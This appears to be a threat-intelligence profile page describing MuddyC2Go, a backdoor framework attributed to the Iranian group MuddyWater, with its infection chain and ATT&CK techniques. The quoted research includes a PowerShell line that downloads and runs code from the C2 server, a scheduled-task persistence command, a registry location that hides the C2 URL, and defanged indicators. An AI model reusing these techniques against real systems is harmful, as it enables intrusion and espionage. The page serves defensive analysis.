MuddyC2Go
- Type
- Backdoor
- Capabilities
- Post exploitationPersistenceDLL sideloadingDefense evasion
- Delivery
- Spearphishing
- Platforms
- Windows
MuddyC2Go is a command-and-control framework and associated Windows backdoor tooling used by MuddyWater, also known as Seedworm, an Iranian cyberespionage group linked to Iran’s Ministry of Intelligence and Security. Publicly documented in November 2023, the framework has a server-side web component written in Go and relies heavily on PowerShell for endpoint execution and post-compromise command handling.
Observed infection chains use PowerGUI-built executables containing embedded PowerShell to connect automatically to command-and-control infrastructure. The server supplies additional PowerShell code that periodically polls for operator commands; one observed implementation checked every ten seconds. Another launcher retrieves its connection configuration from the Windows registry, downloads PowerShell content, and executes it. Deployments have used DLL sideloading through a legitimate Java executable and scheduled tasks to maintain execution.
MuddyC2Go-associated campaigns have distributed executables through password-protected RAR archives, within MuddyWater’s broader spearphishing operations. Password protection helps evade email attachment inspection. Documented deployments include an attack against a Jordanian company, activity targeting an Iraqi telecommunications provider, and a November 2023 campaign against telecommunications organizations in Egypt, Sudan, and Tanzania. Operators have deployed MuddyC2Go alongside legitimate remote administration software and separate proxy utilities.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Deep Instinct’s Threat Research team has identified a previously unreported C2 framework suspected to be in use by MuddyWater ... The framework’s web component is written in the Go programming language – hence the name we gave it: MuddyC2Go
Techniques & procedures
10 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
"COBALT ULSTER leverages compromised infrastructure for command and control."
Initial Access
1 technique
Initial Access
Previous research has shown typical MuddyWater TTPs include spear-phishing emails containing archives or links to archives that include various legitimate remote administration tools.
Execution
3 techniques
Execution
Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"
The response from the C2 is again a PowerShell script that runs every 10 seconds and waits for commands from the operator using the C2. | Instead of using a remote administration tool where an operator executes a PowerShell script to connect to MuddyWater’s C2, a new executable is now being sent. This executable contains an embedded PowerShell script that automatically connects to MuddyWater’s C2.
Group-IB identified an LNK file from October 2022 that was communicating with the IP address 91.121.240[.]108. | When this file is opened, the malicious execution chain eventually leads to the C2 server 162.223.89[.]11.
Persistence
2 techniques
Persistence
Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"
The malware reads the C&C URL from the Windows registry value “End” stored inside the key “HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip”. The URL path is read from the “Status” value...
Privilege Escalation
1 technique
Privilege Escalation
Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"
Defense Impairment
1 technique
Defense Impairment
The malware reads the C&C URL from the Windows registry value “End” stored inside the key “HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip”. The URL path is read from the “Status” value...
Collection
1 technique
Collection
The archives are now password protected. This is done to evade email security solutions that scan files inside archives without a password.
Command and Control
3 techniques
Command and Control
The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server... Invoke-WebRequest -Uri $uri -Method GET ... iex $response.Content;
“beacon to a custom C2 server… MuddyWater has used PhonyC2 in the past… using… MuddyC2Go”
After communicating with the C2, the communication is switched to dynamic DNS using the address “microsoftfice.ddns[.]net”
Observables
49 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.